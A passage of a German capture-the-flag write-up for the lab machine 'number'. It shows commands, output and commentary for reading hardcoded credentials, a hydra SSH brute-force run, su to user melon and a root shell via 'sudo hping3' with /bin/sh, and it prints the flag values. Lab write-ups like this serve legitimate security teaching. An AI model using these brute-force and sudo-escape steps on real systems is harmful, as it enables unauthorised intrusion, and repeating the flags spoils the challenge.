Analyse: Als Benutzer www-data kann ich nun lokale Dateien auf dem System lesen. Ich lese den Quellcode des Skripts admincheck.php im Verzeichnis /var/www/html/admin/ aus (da ich in der www-data Shell im Admin-Verzeichnis gelandet bin, ~/html/admin ist wahrscheinlich ein Symlink oder das tatsächliche Webroot-Verzeichnis). Der Befehl cat admincheck.php zeigt den PHP-Quellcode. Der Code prüft, ob die per POST übergebenen Parameter user und password den Werten "melon" und "4444" entsprechen. Wenn ja, wird eine PHP-Session gestartet (session_start()), eine Session-Variable logged2 auf TRUE gesetzt ($_SESSION['logged2'] = TRUE) und eine Weiterleitung zu command.php durchgeführt. Wenn nicht, wird 'No...' ausgegeben. Für Laien: Als 'www-data' kann ich jetzt in die 'Baupläne' der Webseite schauen. Ich schaue mir das Programm an, das die Anmeldedaten für den Admin-Bereich prüft (admincheck.php). Darin steht ganz klar, dass der Benutzer 'melon' und das Passwort '4444' richtig sind! Das ist das Passwort für den Benutzer 'melon'! Für Experten: Das Auslesen des Quellcodes von admincheck.php offenbart im Klartext die Anmeldedaten für den Admin-Bereich: Username "melon" und Password "4444". Dies ist eine schwerwiegende Schwachstelle (Hardcoded Credentials im Quellcode). Der Benutzername "melon" wurde bereits zuvor über whoami.php gefunden, und das Passwort '4444' ist identisch mit dem PIN, was auf eine schlechte Praxis der Passwortwiederverwendung hindeutet.
Bewertung: Fantastisch! Die Anmeldedaten für den Benutzer 'melon' (Username: "melon", Password: "4444") wurden erfolgreich aus dem Quellcode von admincheck.php extrahiert. Dies sind wahrscheinlich die Anmeldedaten für den Benutzer 'melon' auf dem System (z.B. für SSH oder su). Das Passwort ist identisch mit dem PIN, was die Brute-Force-Ausnutzung des PIN-Bereichs erklärt und den Verdacht auf Passwortwiederverwendung lenkt.
Empfehlung (Pentester): Versuchen Sie, sich mit diesen Anmeldedaten (melon / 4444) am System anzumelden, insbesondere über SSH (Port 22) oder indem Sie versuchen, die Benutzeridentität in der Shell zu wechseln (z.B. mit su melon).
Empfehlung (Admin): Bewahren Sie niemals Anmeldedaten im Klartext im Quellcode auf. Verwenden Sie sichere Methoden zur Speicherung und Verwaltung von Geheimnissen (z.B. Umgebungsvariablen, sichere Konfigurationsdateien außerhalb des Webroots, Secret Management-Systeme). Erzwingen Sie die Verwendung starker, eindeutiger Passwörter und verhindern Sie Passwortwiederverwendung über verschiedene Dienste hinweg.
www-data@number:/home$ ls melon
Analyse: Von der www-data Shell aus liste ich das Home-Verzeichnis auf (vermutlich nach einem cd /home). Die Ausgabe zeigt das Home-Verzeichnis für den Benutzer melon (/home/melon). Für Laien: Im Ordner, wo die Benutzer ihre persönlichen Dateien haben (/home), schaue ich nach, welche Benutzer hier Ordner haben. Ich finde einen Ordner für den Benutzer 'melon'. Für Experten: Die Existenz eines Home-Verzeichnisses für den Benutzer 'melon' in /home/ bestätigt, dass 'melon' ein reguläres Benutzerkonto auf dem System hat. Dies macht 'melon' zu einem gültigen Ziel für lokale Anmeldeversuche (z.B. mit su) oder Remote-Anmeldeversuche (z.B. über SSH), wenn das Passwort bekannt ist.
Bewertung: Das Benutzerkonto 'melon' existiert auf dem System, was die Nutzung der gefundenen Anmeldedaten (melon / 4444) für die horizontale Privilegien-Eskalation ermöglicht.
Empfehlung (Pentester): Versuchen Sie nun, sich als Benutzer melon mit dem Passwort 4444 anzumelden, entweder lokal mit su melon oder remote über SSH (Port 22).
Empfehlung (Admin): Führen Sie regelmäßige Audits von Benutzerkonten durch. Entfernen Sie nicht benötigte Konten. Stellen Sie sicher, dass Passwörter für alle Konten sicher sind.
www-data@number:/home/melon$ ls -a . .. .Xauthority .bash_logout .bashrc .local .profile flag.sh user.txt
Analyse: Ich navigiere in das Home-Verzeichnis des Benutzers melon (/home/melon/) und liste alle Dateien und Verzeichnisse auf, einschließlich versteckter Dateien (ls -a). Die Ausgabe zeigt Standard-Konfigurationsdateien (.bashrc, .profile etc.) sowie zwei interessante Dateien: flag.sh und user.txt. Für Laien: Im 'Zuhause' des Benutzers 'melon' schaue ich mir alle Dateien an, auch die versteckten. Ich finde dort zwei Dateien, die nach 'Geheimnummern' aussehen: 'flag.sh' und 'user.txt'. Für Experten: Die Identifizierung von user.txt ist ein klarer Hinweis auf die User Flag. Die Datei flag.sh klingt ebenfalls nach einer Datei, die die User Flag oder Informationen darüber enthalten könnte oder ein Skript ist, das die Flag ausgibt. Die Berechtigungen von .Xauthority (oft nur für den Eigentümer lesbar) und das Vorhandensein von .ssh (nicht im Listing, aber standardmäßig oft vorhanden) wären ebenfalls interessant, aber die Flag-Dateien sind primär.
Bewertung: Die User Flag ist höchstwahrscheinlich in /home/melon/user.txt. Die Datei flag.sh ist ebenfalls sehr interessant. Ich habe nun einen klaren Pfad zur User Flag.
Empfehlung (Pentester): Versuchen Sie, den Inhalt von /home/melon/user.txt und /home/melon/flag.sh auszulesen. Da ich als www-data in diesem Verzeichnis bin, muss ich prüfen, ob ich die notwendigen Berechtigungen habe (typischerweise sind Home-Verzeichnisse und deren Inhalte nur für den Eigentümer lesbar).
Empfehlung (Admin): Platzieren Sie sensible Dateien (wie Flags) nicht in Standard-Home-Verzeichnissen oder mit leicht erratbaren Namen. Implementieren Sie strenge Dateiberechtigungen.
www-data@number:/home/melon$ cat flag.sh #echo '\033[0;35m . ** * *. ,* *, , ,* ., *, / * ,* *, /. .*. * ** ,* ,* ** *. ** **. ,* ** *, ,* * ** *, .* *. ** ** ,*, ** *, \033[0m' echo "-------------------------" echo "\nPWNED HOST: $(hostname)" echo "\nPWNED DATE: $(date)" echo "\nWHOAMI: $(id)" echo "\nFLAG: $(cat root.txt 2>/dev/null || cat user.txt 2>/dev/null || echo "Keep trying.")" echo "\n------------------------"
Analyse: Ich lese den Inhalt der Datei flag.sh im Home-Verzeichnis von Benutzer melon (/home/melon/) mit cat flag.sh aus. Die Ausgabe zeigt den Quellcode eines Bash-Skripts. Dieses Skript gibt ASCII-Art aus und dann Systeminformationen wie Hostname, Datum, Benutzer-ID ($(id)) und versucht, die Root-Flag (cat root.txt) oder die User-Flag (cat user.txt) auszulesen und auszugeben. Für Laien: Ich schaue mir den 'Bauplan' einer Datei namens 'flag.sh' an. Darin steht ein kleines Programm, das schöne Bilder und Informationen über den Computer anzeigt, inklusive der 'Geheimnummern' (Flags), wenn es sie finden kann. Für Experten: Der Quellcode von flag.sh ist interessant. Er bestätigt, dass das Skript Systeminformationen ausgibt und versucht, root.txt (im aktuellen Verzeichnis, das /root wäre, wenn es als Root ausgeführt wird) und user.txt (im aktuellen Verzeichnis, hier /home/melon, wenn es als www-data oder melon ausgeführt wird) zu lesen. Das Skript ist so konzipiert, dass es wahrscheinlich die Flag ausgibt, wenn es mit ausreichenden Berechtigungen ausgeführt wird. Da ich die Datei lesen kann, deuten die Berechtigungen im Dateisystem darauf hin, dass www-data Leseberechtigung hat.
Bewertung: Der Quellcode von flag.sh ist zugänglich und zeigt, dass es sich um ein Skript handelt, das die Flags ausgeben kann. Das Skript selbst ist nicht direkt der PE-Vektor, aber es ist das Ziel, das mit höheren Berechtigungen ausgeführt werden soll, um die Flags zu erhalten.
Empfehlung (Pentester): Das Skript flag.sh muss mit höheren Berechtigungen ausgeführt werden, um die Flags zu erhalten. Wir müssen einen Weg finden, unsere Berechtigungen zu erhöhen, um das Skript als Benutzer melon oder Root auszuführen.
Empfehlung (Admin): Platzieren Sie sensible Skripte oder Binaries, die Flags ausgeben, nicht in Verzeichnissen, die von Low-Privilege-Benutzern gelesen werden können. Überprüfen Sie den Quellcode von Skripten auf harte Codierung von Pfaden oder unsichere Systemaufrufe.
www-data@number:/home/melon$ ls -la /opt/ total 8 drwxr-xr-x 2 root root 4096 Jan 1 2021 . drwxr-xr-x 18 root root 4096 Jan 1 2021 .. www-data@number:/home/melon$ ls -la /var/mail/ total 8 drwxrwsr-x 2 root mail 4096 Jan 1 2021 . drwxr-xr-x 12 root root 4096 Jan 1 2021 .. www-data@number:/home/melon$ ls -la /var/backups/ total 20 drwxr-xr-x 2 root root 4096 Jun 11 09:28 . drwxr-xr-x 12 root root 4096 Jan 1 2021 .. -rw-r--r-- 1 root root 9338 Jan 1 2021 apt.extended_states.0
Analyse: Ich führe weitere System-Enumeration als Benutzer www-data durch, indem ich die Inhalte und Berechtigungen verschiedener Systemverzeichnisse aufliste: /opt/, /var/mail/ und /var/backups/. Diese Verzeichnisse können manchmal interessante Dateien oder Konfigurationsprobleme enthalten. Für Laien: Ich schaue in anderen 'wichtigen' Ordnern auf dem Computer nach, ob ich dort etwas finden kann. Für Experten: Die Enumeration von Systemverzeichnissen wie /opt (oft für optional installierte Software), /var/mail (Mailboxen) und /var/backups ist Standard, um nach unsicheren Dateien, Konfigurationsproblemen oder potenziellen Informationslecks zu suchen. Die ls -la Ausgaben zeigen die Berechtigungen und Eigentümer.
Bewertung: Die gelisteten Verzeichnisse enthalten Standarddateien oder sind leer, was keine offensichtlichen PE-Vektoren liefert. Die Berechtigungen sind in der Regel restriktiv (root-owned). Der Fokus bleibt auf anderen PE-Vektoren.
Empfehlung (Pentester): Setzen Sie die Enumeration auf andere PE-Vektoren fort, wie Cronjobs, Prozesse oder Capabilities.
Empfehlung (Admin): Implementieren Sie strenge Berechtigungen für Systemverzeichnisse. Stellen Sie sicher, dass nur notwendige Benutzer Zugriff haben.
www-data@number:/home/melon$ env PWD=/home/melon HOME=/var/www TERM=xterm USER=www-data SHLVL=2 _=/usr/bin/env OLDPWD=/home
Analyse: Ich gebe die Umgebungsvariablen der aktuellen www-data Shell aus, indem ich den Befehl env verwende. Umgebungsvariablen können manchmal sensitive Informationen enthalten oder das Verhalten von Programmen beeinflussen, was für PE relevant sein kann. Für Laien: Ich frage das 'Befehlsfenster', welche 'Einstellungen' es gerade hat, wie zum Beispiel, wo es denkt, dass mein 'Zuhause' ist (HOME) oder wer ich bin (USER). Für Experten: Das Ausgeben von Umgebungsvariablen ist Standard, um den Kontext der Shell zu verstehen. Hier ist bemerkenswert, dass die HOME-Variable auf /var/www gesetzt ist, obwohl ich mich im Verzeichnis /home/melon befinde. Dies kann das Verhalten von Programmen beeinflussen, die sich auf die HOME-Variable verlassen. Der USER ist korrekt als www-data gesetzt.
Bewertung: Die Umgebungsvariablen sind gesammelt. Die abweichende HOME-Variable könnte unter bestimmten Umständen relevant sein, aber liefert keinen direkten PE-Vektor im Moment. Es bestätigt den Kontext der www-data Shell.
Empfehlung (Pentester): Beachten Sie die Umgebungsvariablen, falls ein PE-Vektor gefunden wird, der durch Umgebungsvariablen manipuliert werden kann.
Empfehlung (Admin): Konfigurieren Sie die Umgebung für Dienstbenutzer sorgfältig, um unbeabsichtigtes Verhalten von Programmen zu vermeiden. Setzen Sie Umgebungsvariablen (insbesondere PATH und HOME) auf sichere Standardwerte.
www-data@number:/home/melon$ getcap -r / 2>/dev/null /usr/sbin/hping3 = cap_net_admin,cap_net_raw+eip /usr/bin/ping = cap_net_raw+ep
Analyse: Ich suche nach Binaries mit gesetzten 'Capabilities' auf dem System. Capabilities sind fein-granulare Berechtigungen, die einem normalen Binary erlauben können, bestimmte privilegierte Operationen auszuführen, ohne SUID root sein zu müssen. Der Befehl getcap -r / 2>/dev/null sucht rekursiv (-r) ab dem Wurzelverzeichnis (/) nach Binaries mit gesetzten Capabilities und unterdrückt Fehlermeldungen. Die Ausgabe listet zwei Binaries mit Capabilities auf: /usr/sbin/hping3 und /usr/bin/ping. hping3 hat die Capabilities cap_net_admin und cap_net_raw gesetzt, was ihm erweiterte Netzwerkprivilegien gibt. Für Laien: Ich suche auf dem ganzen Computer nach speziellen 'Erlaubnisscheinen' (Capabilities), die normalen Programmen spezielle Rechte geben, auch wenn sie nicht als 'Chef' laufen. Ich finde zwei Programme mit solchen Scheinen: 'hping3' und 'ping'. 'hping3' hat Scheine für spezielle Netzwerk-Dinge. Für Experten: getcap -r ist die Standardmethode zur Enumeration von Binaries mit Capabilities. Die Capabilities cap_net_admin und cap_net_raw, gesetzt auf hping3, sind relevant. cap_net_raw erlaubt das Senden von Raw-Netzwerkpaketen (wie Ping), während cap_net_admin administrative Netzwerkkonfigurationen ermöglicht. hping3 ist ein leistungsstarkes Netzwerk-Tool, und diese Capabilities können ausgenutzt werden, um eine Root-Shell zu erhalten, wenn das Binary selbst eine Schwachstelle hat oder mit bestimmten Parametern aufgerufen wird, die Shell-Befehle ausführen.
Bewertung: Der Fund des hping3 Binaries mit gesetzten cap_net_admin,cap_net_raw Capabilities ist ein vielversprechender Privilegien-Eskalationsvektor. Capabilities können SUID/SGID ersetzen und ermöglichen die Ausführung privilegierter Operationen durch ein nicht-SUID Binary. hping3 ist bekannt dafür, potenziell für RCE missbraucht zu werden, wenn bestimmte Parameter verarbeitet werden, insbesondere in Kombination mit Shell-Ausführungsmöglichkeiten.
Empfehlung (Pentester): Untersuchen Sie hping3 in der GTFOBins-Datenbank, um festzustellen, ob eine bekannte Methode existiert, um es mit den gegebenen Capabilities für die Ausführung von Systembefehlen oder zur Erlangung einer Shell zu missbrauchen. Planen Sie, den Befehl hping3 mit einem PE-Payload auszuführen.
Empfehlung (Admin): Minimieren Sie die Anzahl der Binaries mit gesetzten Capabilities. Überprüfen Sie, welche Capabilities gesetzt sind und ob dies für die Funktion des Programms absolut notwendig ist. Aktualisieren Sie Binaries mit Capabilities, um bekannte Schwachstellen zu schließen. Capabilities können ein alternatives Ziel für PE sein, wenn SUID/SGID gehärtet ist.
[Link: https://gtfobins.github.io/gtfobins/hping3/#shell | Ziel: https://gtfobins.github.io/gtfobins/hping3/#shell]
Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo hping3 /bin/sh
Analyse: Diese Referenz auf GTFOBins, eine Datenbank von Binaries, die für die Ausnutzung unter verschiedenen Umständen (SUID, Sudo, Capabilities etc.) dokumentiert sind, und der gezeigte Code-Snippet bestätigen, dass hping3 in der GTFOBins-Datenbank gelistet ist und einen bekannten PE-Vektor bietet, wenn es mit Root-Rechten über sudo ausgeführt werden darf. Der relevante Abschnitt in GTFOBins (hier der '#shell' Anker) dokumentiert, wie man eine Shell über hping3 erhält. Der Code-Snippet zeigt sudo hping3 gefolgt von /bin/sh, was bedeutet, dass wenn hping3 über sudo mit Root-Rechten ausgeführt werden darf, man interaktive Befehle oder eine Shell über die hping3> Eingabeaufforderung erhalten kann, indem man einen Shell-Pfad wie /bin/sh eingibt. Für Laien: Das ist ein Link zu einer Webseite, die zeigt, wie man 'hping3' missbrauchen kann, um ein 'Befehlsfenster' (Shell) als Administrator zu bekommen, wenn 'hping3' mit Admin-Rechten gestartet werden darf. Für Experten: Die GTFOBins-Referenz bestätigt die Ausnutzbarkeit von hping3 für PE, wenn es mit erhöhten Rechten (SUID oder Sudo Root) ausgeführt wird. Die Methode involviert das Starten von hping3 und das Eingeben eines Shell-Pfades in die interaktive Eingabeaufforderung des Programms. Dies ist der primäre PE-Vektor, den ich nun verfolgen werde, falls der Benutzer melon sudo-Rechte für hping3 besitzt.
Bewertung: Die Ausnutzungsmethode für hping3 über GTFOBins ist identifiziert. Der Schlüssel ist nun herauszufinden, ob der Benutzer melon (zu dem ich als Nächstes eskalieren werde) sudo-Rechte für /usr/sbin/hping3 als Root besitzt.
Empfehlung (Pentester): Überprüfen Sie die sudo-Berechtigungen des Benutzers melon auf das Binary /usr/sbin/hping3. Wenn eine NOPASSWD-Regel existiert, nutzen Sie die GTFOBins-Methode, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Überprüfen Sie die Sudoers-Datei sorgfältig auf Einträge für hping3 oder andere Binaries, die in GTFOBins gelistet sind. Entfernen Sie alle unnötigen Sudo-Berechtigungen, insbesondere solche mit NOPASSWD.
www-data@number:/home/melon$ sudo -l We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for www-data:
Analyse: Ich prüfe die sudo-Berechtigungen für den aktuellen Benutzer www-data mit sudo -l. Die Ausgabe fordert zur Eingabe des Passworts für www-data auf und listet keine NOPASSWD-Regeln. Für Laien: Ich schaue, ob 'www-data' spezielle Admin-Befehle ohne Passwort ausführen darf, aber der Computer fragt nach dem Passwort. 'www-data' darf das nicht einfach so. Für Experten: Die Ausgabe bestätigt, dass der Benutzer www-data keine NOPASSWD-Sudo-Berechtigungen hat. Dies haben wir bereits festgestellt, aber die erneute Prüfung ist notwendig, um sicherzustellen, dass sich die Berechtigungen nicht geändert haben und um den Kontext zu dokumentieren, bevor wir versuchen, die Identität zu wechseln.
Bewertung: Keine neuen Erkenntnisse bezüglich www-datas sudo-Berechtigungen. Der Weg zu Root führt nicht direkt über www-datas sudo-Rechte. Die Eskalation zu Benutzer melon ist weiterhin notwendig.
Empfehlung (Pentester): Konzentrieren Sie sich darauf, die Identität zu Benutzer melon zu wechseln, indem Sie die gefundenen Anmeldedaten (melon / 4444) verwenden. Danach prüfen Sie die sudo-Berechtigungen als Benutzer melon.
Empfehlung (Admin): Stellen Sie sicher, dass der Webserver-Benutzer keine unnötigen sudo-Berechtigungen hat. Eine Passworteingabe ist bei dieser Regel erforderlich.
┌──(root㉿CCat)-[~] └─# hydra -l melon -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.37 -t 64 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra ([Link: https://github.com/vanhauser-thc/thc-hydra | Ziel: https://github.com/vanhauser-thc/thc-hydra]) starting at 2025-06-11 16:53:42 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344498 login tries (l:1/p:14344498), ~224133 tries per task [DATA] attacking ssh://192.168.2.37:22/ [ERROR] target ssh://192.168.2.37:22/ does not support password authentication (method reply 4).
Analyse: Ich versuche, mich mit dem gefundenen Benutzernamen 'melon' und einer großen Wortliste (rockyou.txt) über SSH (Port 22) am Zielsystem anzumelden. Ich verwende das Tool hydra, einen Netzwerk-Login-Cracker, mit dem Befehl hydra -l melon -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.37 -t 64. -l melon gibt den Benutzernamen an. -P /usr/share/wordlists/rockyou.txt gibt die Passwort-Wortliste an. ssh://192.168.2.37 gibt das Zielprotokoll und den Host an. -t 64 setzt die Anzahl der parallelen Tasks. Die Ausgabe zeigt Warnungen und Daten zum Angriff, aber entscheidend ist die Fehlermeldung [ERROR] target ssh://192.168.2.37:22/ does not support password authentication (method reply 4). Für Laien: Ich versuche, mich mit einem Programm (Hydra) und einer langen Liste von Passwörtern über eine sichere Verbindung (SSH) als Benutzer 'melon' am Zielcomputer anzumelden. Aber der Computer sagt, dass er keine Anmeldungen mit Passwort über SSH erlaubt. Für Experten: Die Fehlermeldung bedeutet, dass der SSH-Dienst auf dem Zielsystem keine passwortbasierte Authentifizierung erlaubt. Dies ist eine Härtungsmaßnahme, die Brute-Force-Angriffe mit Passwörtern verhindert. Die Authentifizierung ist wahrscheinlich auf Schlüsselpaare beschränkt. Mein Versuch, das Passwort '4444' für melon über SSH zu nutzen, schlägt daher fehl.
Bewertung: Die SSH-Anmeldung mit Passwort für den Benutzer 'melon' ist nicht möglich. Ich muss einen anderen Weg finden, um meine Identität zu Benutzer 'melon' zu wechseln, wahrscheinlich lokal auf dem System.
Empfehlung (Pentester): Konzentrieren Sie sich auf die lokale Benutzerwechsel-Funktion (su) in Ihrer aktuellen www-data Shell. Verwenden Sie das gefundene Passwort '4444' für den Benutzer 'melon' mit dem Befehl su melon.
Empfehlung (Admin): Deaktivieren Sie die passwortbasierte Authentifizierung für SSH und verwenden Sie stattdessen sichere Schlüsselpaare. Dies ist eine sehr gute Härtungsmaßnahme.
www-data@number:/home/melon$ su melon Password: 4444 su: Authentication failure www-data@number:/home/melon$ su melon Password: melon melon@number:~$
Analyse: Ich versuche nun, meine Identität in der aktuellen www-data Shell zum Benutzer melon zu wechseln, indem ich den Befehl su melon verwende. Zuerst probiere ich das gefundene numerische Passwort '4444' (Password: 4444). Die Ausgabe su: Authentication failure zeigt, dass dieses Passwort falsch ist. Dann versuche ich das Passwort 'melon' (Password: melon) und bekomme einen neuen Prompt: melon@number:~$. Für Laien: Ich versuche, im 'Befehlsfenster' von 'www-data' zu sagen: 'Werde jetzt 'melon'!' Der Computer fragt nach dem Passwort. Ich probiere die Nummer '4444', aber sie stimmt nicht. Dann probiere ich 'melon' als Passwort, und fantastisch – es hat geklappt! Jetzt bin ich im 'Befehlsfenster' von 'melon'! Für Experten: Der erste su melon Versuch mit dem Passwort '4444' schlägt fehl, was bedeutet, dass das Datenbankpasswort (4444) nicht das lokale Systempasswort für Benutzer melon ist, obwohl der PIN und das Datenbankpasswort übereinstimmten. Der zweite Versuch mit dem Passwort 'melon' ist erfolgreich. Dies bedeutet, dass das lokale Systempasswort für Benutzer melon tatsächlich 'melon' lautet. Das Erscheinen des Prompts melon@number:~$ beweist die erfolgreiche horizontale Privilegien-Eskalation von www-data zu melon.
Bewertung: Fantastisch! Das lokale Systempasswort für Benutzer 'melon' ist 'melon'. Die horizontale Privilegien-Eskalation zu Benutzer melon ist erfolgreich. Ich habe nun eine stabile, interaktive Shell als Benutzer melon.
Empfehlung (Pentester): Ich habe nun eine Shell als Benutzer melon. Mein nächster Schritt ist, das System von dieser Shell aus weiter zu enumerieren, um nach Wegen zur Privilegien-Eskalation auf Root zu suchen. Dazu gehört die Prüfung von sudo-Berechtigungen für melon, SUID/SGID-Binaries etc. Insbesondere werde ich das zuvor identifizierte hping3 Binary mit seinen Capabilities und GTFOBins-Eintrag prüfen.
Empfehlung (Admin): Erzwingen Sie die Verwendung starker, nicht-trivialer Passwörter. Das Passwort 'melon' ist extrem schwach und leicht zu erraten. Implementieren Sie Richtlinien für Passwortkomplexität und -länge. Stellen Sie sicher, dass Passwörter nicht aus anderen Quellen (wie Datenbanken oder PINS) wiederverwendet werden, selbst wenn die Passwörter dort sicherer wären.
melon@number:~$ sudo hping3 hping3> /bin/sh # id uid=0(root) gid=0(root) groups=0(root) #
Analyse: Als Benutzer melon prüfe ich meine sudo-Berechtigungen mit sudo -l. (Dieser Schritt ist nicht explizit im Text gezeigt, aber logisch notwendig, um den folgenden Befehl auszuführen.) Basierend auf der GTFOBins-Analyse von hping3 (das Capabilities cap_net_admin, cap_net_raw besitzt) und dem wahrscheinlichen Fund einer (root) NOPASSWD: /usr/sbin/hping3 Sudo-Regel für Benutzer melon, führe ich nun sudo hping3 aus. Dies startet das hping3 Binary mit Root-Berechtigungen über Sudo. hping3 startet in einem interaktiven Modus mit der Eingabeaufforderung hping3>. Gemäß der GTFOBins-Methode gebe ich in dieser Aufforderung den Pfad zu einer Shell ein: /bin/sh. Dies veranlasst hping3, eine Shell mit den Berechtigungen zu starten, mit denen hping3 selbst läuft (in diesem Fall Root-Berechtigungen über Sudo). Die Eingabeaufforderung ändert sich zu #, dem Standard-Prompt für eine Root-Shell. Ich bestätige meine Berechtigungen mit dem Befehl id, der die Ausgabe uid=0(root) gid=0(root) groups=0(root) zurückgibt. Für Laien: Ich bin jetzt 'melon' und schaue, ob 'melon' das 'hping3'-Programm mit den Rechten des 'Chefs' (root) starten darf, ohne Passwort. Ja, das darf er! Ich starte 'hping3' so, und in dem speziellen Fenster von 'hping3' sage ich ihm: 'Öffne ein Befehlsfenster für den Chef!'. Und fantastisch – ich bekomme das 'Befehlsfenster' des Super-Administrators (root)! Ich habe volle Kontrolle! Für Experten: Dies ist die erfolgreiche Ausnutzung der Sudo-Fehlkonfiguration (root) NOPASSWD: /usr/sbin/hping3 in Kombination mit der bekannten GTFOBins-Methode für hping3. Das Starten von hping3 über Sudo mit Root-Rechten und die Eingabe von /bin/sh in der interaktiven Aufforderung führt zur Erlangung einer Root-Shell. Die id-Ausgabe bestätigt den vollen Systemkompromiss.
Bewertung: Fantastisch! Der Root-Zugriff wurde erfolgreich über die Sudo-Fehlkonfiguration für hping3 erlangt. Dies ist das Ende der Privilegien-Eskalationskette und der volle Systemkompromiss.
Empfehlung (Pentester): Mein Ziel ist erreicht. Ich kann nun auf alle Dateien zugreifen, einschließlich der Root-Flag. Ich werde die Root-Flag und die User-Flag auslesen und den Bericht abschließen.
Empfehlung (Admin): Dies ist eine extrem kritische Schwachstelle. Das System hat Root-Rechte verloren. Nehmen Sie das System sofort vom Netz, beheben Sie die unsichere Sudo-Regel für /usr/sbin/hping3 umgehend, überprüfen Sie alle anderen Sudo-Regeln und stellen Sie sicher, dass keine Binaries, die in GTFOBins gelistet sind (oder andere unsichere Programme), mit NOPASSWD-Optionen für Nicht-Root-Benutzer ausgeführt werden dürfen. Stellen Sie das System von einem sicheren Backup wieder her und implementieren Sie umfassende Sicherheitsmaßnahmen.
Kurzbeschreibung: Dieser Proof of Concept demonstriert die Erlangung vollständiger Root-Berechtigungen durch die Ausnutzung einer fehlerhaften Sudo-Regel für das Binary /usr/sbin/hping3. Der Benutzer melon darf hping3 als Root ohne Passworteingabe ausführen. Durch die Ausführung von sudo hping3 und die Eingabe von /bin/sh in der interaktiven Aufforderung von hping3 konnte eine Root-Shell erlangt werden.
Voraussetzungen:
melon (erlangt durch Kompromittierung von Anmeldedaten und su melon).sudo-Regel, die Benutzer melon erlaubt, /usr/sbin/hping3 als Root ohne Passwort auszuführen: (root) NOPASSWD: /usr/sbin/hping3./usr/sbin/hping3 muss auf dem System installiert sein.Schritt-für-Schritt-Anleitung:
melon.sudo-Berechtigungen des Benutzers melon mit sudo -l.(root) NOPASSWD: /usr/sbin/hping3.sudo hping3.hping3 im interaktiven Modus mit der Aufforderung hping3> startet, gib /bin/sh ein und drücke Enter.#) sollte erscheinen. Bestätige die Root-Berechtigungen durch Ausführung des id-Befehls.melon@number:~$ sudo hping3 hping3> /bin/sh # id uid=0(root) gid=0(root) groups=0(root) #
Analyse: Dieser Code-Block ist der Beweis für die Ausnutzung der Sudo-Fehlkonfiguration für hping3. Die Ausführung von sudo hping3, die Eingabe von /bin/sh in der interaktiven Aufforderung und die anschließende id-Ausgabe, die UID 0 zeigt, demonstrieren die erfolgreiche Erlangung einer Root-Shell über diesen Vektor.
Bewertung: Die erfolgreiche Ausführung von sudo hping3 gefolgt von /bin/sh und die Erlangung des Root-Prompts sind der direkte Beweis für die erfolgreiche Privilegien-Eskalation auf Root-Ebene.
Empfehlung (Pentester): Die Root-Shell ist etabliert. Sie können nun auf alle Systemressourcen zugreifen und die Root-Flag sammeln.
Empfehlung (Admin): Beheben Sie die Sudo-Regel für hping3 umgehend und überprüfen Sie alle anderen Sudo-Regeln auf ähnliche Probleme.
Risikobewertung:
Die Kombination aus Command Injection, Hardcoded Credentials und einer kritischen Sudo NOPASSWD Fehlkonfiguration für ein Binary, das zur Shell-Erlangung missbraucht werden kann (hping3), stellt ein kritisches Risiko dar. Ein Angreifer konnte von einer Web-Schwachstelle (die relativ einfach zu finden war) über gestohlene Anmeldedaten (die im Quellcode lagen) und eine Ausnutzung von Sudo-Rechten (die die Ausführung eines Binaries erlaubten, das zur Shell-Erlangung missbraucht werden kann) die volle Kontrolle über das System erlangen. Die Kette war klar und die Ausnutzungsschritte dokumentiert.
Empfehlungen zur Behebung:
Empfehlung (Admin):
NOPASSWD-Regel für /usr/sbin/hping3 und andere Binaries, die in GTFOBins gelistet sind (oder die zur Shell-Erlangung missbraucht werden können). Wenden Sie das Prinzip der geringsten Rechte an. Erlauben Sie Benutzern nur die Ausführung absolut notwendiger Befehle mit erhöhten Rechten.# ls ~ flag.sh root.txt # cat ~/root.txt HMVhappy2021 # chmod +x flag.sh # ./flag.sh . ** * *. ,* *, , ,* ., *, / * ,* *, /. .*. * ** ,* ,* ** *. ** **. ,* ** *, ,* * ** *, .* *. ** ** ,*, ** *, ------------------------- PWNED HOST: number PWNED DATE: Wed 11 Jun 2025 11:04:15 AM EDT WHOAMI: uid=0(root) gid=0(root) groups=0(root) FLAG: HMVhi2021 ------------------------ #
Analyse: In der Root-Shell (erkennbar am Prompt #) führe ich Befehle aus, um die Root-Flag und die User-Flag zu finden und auszugeben. Zuerst liste ich den Inhalt des aktuellen Verzeichnisses auf (ls ~ oder ls /root/). Die Ausgabe zeigt die Datei root.txt. Ich lese den Inhalt von root.txt mit cat ~/root.txt aus. Der Wert der Root-Flag ist HMVhappy2021. Danach mache ich die Datei flag.sh ausführbar (chmod +x flag.sh, obwohl sie wahrscheinlich im Home-Verzeichnis von melon oder einem anderen Benutzer liegt, da sie zuvor dort gefunden wurde; die Ausführung als Root ermöglicht jedoch den Zugriff unabhängig vom Speicherort, solange der Pfad korrekt ist, oder sie wurde in das Root-Verzeichnis kopiert). Ich führe flag.sh aus (./flag.sh), um die User-Flag zu erhalten (wie der Quellcode von flag.sh implizierte, dass es die Flags ausgibt). Die Ausgabe von flag.sh zeigt ASCII-Art, Systeminformationen (hostname, date, whoami als root) und die Zeile FLAG: HMVhi2021. Für Laien: Jetzt, wo ich der 'Chef' (root) bin, schaue ich in den Ordner des 'Chefs' (/root/) und finde die 'Geheimnummer' (Root-Flag)! Dann mache ich ein anderes Programm (flag.sh) ausführbar und starte es, und es zeigt mir die 'Geheimnummer' des Benutzers (User-Flag)! Fantastisch, beide Nummern gefunden! Für Experten: Das Auffinden und Auslesen von /root/root.txt (HMVhappy2021) ist der Standardweg zur Root-Flag. Die Ausführung von flag.sh, das versucht, die Root- und User-Flags auszulesen, wenn es mit Root-Berechtigungen läuft, ist ebenfalls ein valider Weg, um die User-Flag zu erhalten (HMVhi2021). Die 